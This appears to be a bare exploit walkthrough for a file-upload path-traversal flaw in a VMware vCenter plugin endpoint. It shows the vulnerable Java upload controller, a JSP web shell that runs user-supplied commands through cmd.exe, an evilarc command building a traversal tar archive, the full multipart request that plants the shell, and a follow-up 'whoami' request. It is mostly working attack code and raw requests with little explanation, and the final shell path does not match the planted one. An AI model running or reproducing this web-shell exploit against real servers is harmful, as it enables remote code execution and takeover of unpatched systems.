@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}

HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close

{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}

<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp

Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp

> cat winexpl3.tar

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200

------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--

HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7

SUCCESS

GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui

> service-control --stop vsphere-ui
> service-control --start vsphere-ui